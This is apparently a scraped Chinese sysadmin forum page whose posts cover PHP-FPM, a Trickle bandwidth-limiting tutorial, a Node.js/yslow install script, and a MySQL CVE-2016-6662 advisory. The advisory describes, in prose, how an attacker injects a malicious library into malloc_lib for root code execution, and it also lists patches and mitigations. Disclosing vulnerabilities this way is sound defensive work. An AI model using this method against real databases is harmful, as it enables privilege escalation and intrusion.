PHP-FPM也是一个第三方的FastCGI进程管理器,它是作为PHP的一个补丁来开发的,在安装的时候也需要和PHP源码一起编译,也就是说PHP-FPM被编译到PHP内核中,因此在处理性能方面更加优秀;同时它在处理高并发方面也比spawn-fcgi引擎好很多,因此,推荐Nginx+PHP/PHP-FPM这个组合对PHP进行解析。

FastCGI 的主要优点是把动态语言和HTTP Server分离开来,所以Nginx与PHP/PHP-FPM经常被部署在不同的服务器上,以分担前端Nginx服务器的压力,使Nginx专一处理静态请求和转发动态请求,而PHP/PHP-FPM服务器专一解析PHP动态请求。
具体更多详解参考:http://ixdba.blog.51cto.com/2895551/806622

Linux下应用程序带宽限制神器「Trickle」

being 发表了文章 • 0 个评论 • 262 次浏览 • 2016-10-13 19:30 • 来自相关话题

有时候我们经常会遇到某个应用程序占满了整个系统的带宽,然后影响到了其他程序的运行效率。这个时候其实是可以限制这个程序的带宽占用的,然后达到带宽均衡被瓜分。这个时候Trickle就可以做到,他可以控制应用程序的上下行带宽,达到带宽不至于被一个程序霸占。

什么是 Trickle

rickle是一个网络带宽调整工具,可以让我们管理应用程序的网络上下行速度,使得可以避免其中的某个应用程序霸占了全部或大部分可用的带宽。换句话说,Trickle可以让你基于单个应用程序来控制网络流量速率,而不是仅仅针对与单个用户——这是在客户端网络环境中经典的带宽调整情况。 Trickle 可以限制 Linux 命令行工具的上传和下载流量。在跨地域文件传输或者备份时非常有用,因为外网带宽往往会比较贵。或者你想备份进程或者下载进程不对同机器的其他服务产生影响,也需要 Trickle 这样的限流工具。
再或者你在办公室想下载大文件,不希望影响其他网络用户或者应用,Trickle 就是为此设计。

Trickle 如何工作

trickle 可以帮助我们基于应用来定义优先级,所以当对整个系统进行了全局限制设定,高优先级的应用依然会自动地获取更多的带宽。为了实现这个目标,trickle 对 TCP 连接上的套接字的数据发送、接收设置流量限制。我们必须注意到,除了影响传输速率之外,在这个过程中,trickle任何时候都不会以任何方式来改变其中的数据。

Trickle不能做什么

trickle唯一的限制就是不支持静态链接的应用程序或者具有SUID或SGID位设置的二进制程序,因为它使用动态链接的方式将其载入到需要调整的进程和其关联的网络套接字之间。 Trickle此时会在这两种软件组件之间扮演代理的角色。由于trickle并不需要超级用户的权限来运行,所以用户可以设置他们自己的流量限制。可能这并不是你想要的,我们会探索如何使用全局设定来限制系统中的所有用户的流量限制。也即是说,此时系统中的每个用户具有管理各自的流量速率,但是无论如何,都会受到系统管理员给他们设置的总体限制。在这篇文章中,我们会描述如何通过trickle在linux平台上管理应用程序使用的网络带宽。为了生成所需的流量,在此会在客户端(CentOS 7 server – dev1: 192.168.0.17)上使用 ncftpput 和 ncftpget, 在服务器(Debian Wheezy 7.5 – dev2: 192.168.0.15)上使用vsftpd 来进行演示。 相同的指令也可以在RedHat,Fedora和Ubuntu等系统使用。

使用案例

前提条件对于 RHEL/CentOS 7/6, 开启EPEL仓库。这些用于企业版 Linux 的额外软件包是一个由Fedora项目维护的高质量、开源的软件仓库,而且百分之百与其衍生产品相兼容,如企业版本Linux和CentOS。 在这个仓库中trickle和ncftp两者都是可用的。按照如下方式安装ncftp:# yum update && sudo yum install ncftp [基于 RedHat 的系统]
# aptitude update && aptitude install ncftp [基于 Debian 的系统]在单独的服务器上设置一个FTP服务器。需要注意的是,尽管FTP天生就不安全,但是仍然被广泛应用在安全性无关紧要的文件上传下载中。 在这篇文章中我们使用它来演示trickle的优点,同时它也会在客户端的标准输出流中显示传输速率。我们将是否在其它时间使用它放在一边讨论。
 
现在,在FTP服务器上按照以下方式编辑 /etc/vsftpd/vsftpd.conf 文件。anonymous_enable=NO
local_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES在此之后,确保在你的当前会话中启动了vsftpd,并在之后的启动中让其自动启动。# systemctl start vsftpd [基于 systemd 的系统]
# systemctl enable vsftpd
# service vsftpd start [基于 init 的系统]
# chkconfig vsftpd on如果你选择在一个使用 SSH 密钥进行远程访问的 CentOS/RHEL 7中搭建FTP服务器,你需要一个密码受保护的用户账户,它能访问root目录之外的某个目录,并有能在其中上传和下载文件的权限。
 
你可以通过在你的浏览器中输入以下的URL来浏览你的家目录。一个登录窗口会弹出来提示你输入FTP服务器中的有效的用户名和密码。ftp://192.168.0.15如果验证成功,你就会看到你的家目录中的内容。该教程的稍后部分中,你将可以刷新页面来显示在你之前上传过的文件。




 
使用方法:
只需要把 trickle 和相关参数附加在其他 Linux 命令行工具命令之前即可。

比如限制 Wget 下载文件的速度为 20KB/S

trickle -s -d 20 wget -c http://blog.eood.cn/

限制文件备份到 AWS S3 的上传速度为 1MB/S:

trickle -s -u 1024 s3cmd sync /mnt/data/ s3://my-backup

当然,你也可以把 trickle 加在现有的服务器自动化脚本中完成限流功能。
 其他功能:
trickle -L 设置延迟为多少 ms
trickle -w 设置窗口长度为多少 KB

假如你使用 Linux 系统作为办公和开发环境。Trickle 还可以针对每个不同的 Linux 工具进行限流,这样你可以限制 BT 下载的速度,而不影响浏览网页。 查看全部
trickle.png

有时候我们经常会遇到某个应用程序占满了整个系统的带宽,然后影响到了其他程序的运行效率。这个时候其实是可以限制这个程序的带宽占用的,然后达到带宽均衡被瓜分。这个时候Trickle就可以做到,他可以控制应用程序的上下行带宽,达到带宽不至于被一个程序霸占。


什么是 Trickle


rickle是一个网络带宽调整工具,可以让我们管理应用程序的网络上下行速度,使得可以避免其中的某个应用程序霸占了全部或大部分可用的带宽。换句话说,Trickle可以让你基于单个应用程序来控制网络流量速率,而不是仅仅针对与单个用户——这是在客户端网络环境中经典的带宽调整情况。 
Trickle 可以限制 Linux 命令行工具的上传和下载流量。在跨地域文件传输或者备份时非常有用,因为外网带宽往往会比较贵。
或者你想备份进程或者下载进程不对同机器的其他服务产生影响,也需要 Trickle 这样的限流工具。
再或者你在办公室想下载大文件,不希望影响其他网络用户或者应用,Trickle 就是为此设计。


Trickle 如何工作


trickle 可以帮助我们基于应用来定义优先级,所以当对整个系统进行了全局限制设定,高优先级的应用依然会自动地获取更多的带宽。为了实现这个目标,trickle 对 TCP 连接上的套接字的数据发送、接收设置流量限制。我们必须注意到,除了影响传输速率之外,在这个过程中,trickle任何时候都不会以任何方式来改变其中的数据。 


Trickle不能做什么


trickle唯一的限制就是不支持静态链接的应用程序或者具有SUID或SGID位设置的二进制程序,因为它使用动态链接的方式将其载入到需要调整的进程和其关联的网络套接字之间。 Trickle此时会在这两种软件组件之间扮演代理的角色。
由于trickle并不需要超级用户的权限来运行,所以用户可以设置他们自己的流量限制。可能这并不是你想要的,我们会探索如何使用全局设定来限制系统中的所有用户的流量限制。也即是说,此时系统中的每个用户具有管理各自的流量速率,但是无论如何,都会受到系统管理员给他们设置的总体限制。
在这篇文章中,我们会描述如何通过trickle在linux平台上管理应用程序使用的网络带宽。为了生成所需的流量,在此会在客户端(CentOS 7 server – dev1: 192.168.0.17)上使用 ncftpput 和 ncftpget, 在服务器(Debian Wheezy 7.5 – dev2: 192.168.0.15)上使用vsftpd 来进行演示。 相同的指令也可以在RedHat,Fedora和Ubuntu等系统使用。 


使用案例


前提条件
对于 RHEL/CentOS 7/6, 开启EPEL仓库。这些用于企业版 Linux 的额外软件包是一个由Fedora项目维护的高质量、开源的软件仓库,而且百分之百与其衍生产品相兼容,如企业版本Linux和CentOS。 在这个仓库中trickle和ncftp两者都是可用的。
按照如下方式安装ncftp:
# yum update && sudo yum install ncftp [基于 RedHat 的系统]
# aptitude update && aptitude install ncftp [基于 Debian 的系统]
在单独的服务器上设置一个FTP服务器。需要注意的是,尽管FTP天生就不安全,但是仍然被广泛应用在安全性无关紧要的文件上传下载中。 在这篇文章中我们使用它来演示trickle的优点,同时它也会在客户端的标准输出流中显示传输速率。我们将是否在其它时间使用它放在一边讨论。
 
现在,在FTP服务器上按照以下方式编辑 /etc/vsftpd/vsftpd.conf 文件。
anonymous_enable=NO
local_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
在此之后,确保在你的当前会话中启动了vsftpd,并在之后的启动中让其自动启动。
# systemctl start vsftpd [基于 systemd 的系统]
# systemctl enable vsftpd
# service vsftpd start [基于 init 的系统]
# chkconfig vsftpd on
如果你选择在一个使用 SSH 密钥进行远程访问的 CentOS/RHEL 7中搭建FTP服务器,你需要一个密码受保护的用户账户,它能访问root目录之外的某个目录,并有能在其中上传和下载文件的权限。
 
你可以通过在你的浏览器中输入以下的URL来浏览你的家目录。一个登录窗口会弹出来提示你输入FTP服务器中的有效的用户名和密码。
ftp://192.168.0.15
如果验证成功,你就会看到你的家目录中的内容。该教程的稍后部分中,你将可以刷新页面来显示在你之前上传过的文件。
ftp.png

 
使用方法
只需要把 trickle 和相关参数附加在其他 Linux 命令行工具命令之前即可。

比如限制 Wget 下载文件的速度为 20KB/S

trickle -s -d 20 wget -c http://blog.eood.cn/

限制文件备份到 AWS S3 的上传速度为 1MB/S:

trickle -s -u 1024 s3cmd sync /mnt/data/ s3://my-backup

当然,你也可以把 trickle 加在现有的服务器自动化脚本中完成限流功能。
 其他功能:
trickle -L 设置延迟为多少 ms
trickle -w 设置窗口长度为多少 KB

假如你使用 Linux 系统作为办公和开发环境。Trickle 还可以针对每个不同的 Linux 工具进行限流,这样你可以限制 BT 下载的速度,而不影响浏览网页。

MySQL远程代码执行漏洞安全预警

Geek小A 发表了文章 • 0 个评论 • 214 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

利用npm在服务器上安装yslow

OpenSkill 发表了文章 • 0 个评论 • 270 次浏览 • 2016-09-30 18:22 • 来自相关话题

wget -c http://nodejs.org/dist/v0.12.4/node-v0.12.4.tar.gz
tar zxf node-v0.12.4.tar.gz
cd node-v0.12.4
./configure && make && make install
sleep 1

npm config set registry http://registry.cnpmjs.org
npm install yslow -g 查看全部
wget -c http://nodejs.org/dist/v0.12.4/node-v0.12.4.tar.gz
tar zxf node-v0.12.4.tar.gz
cd node-v0.12.4
./configure && make && make install
sleep 1

npm config set registry http://registry.cnpmjs.org
npm install yslow -g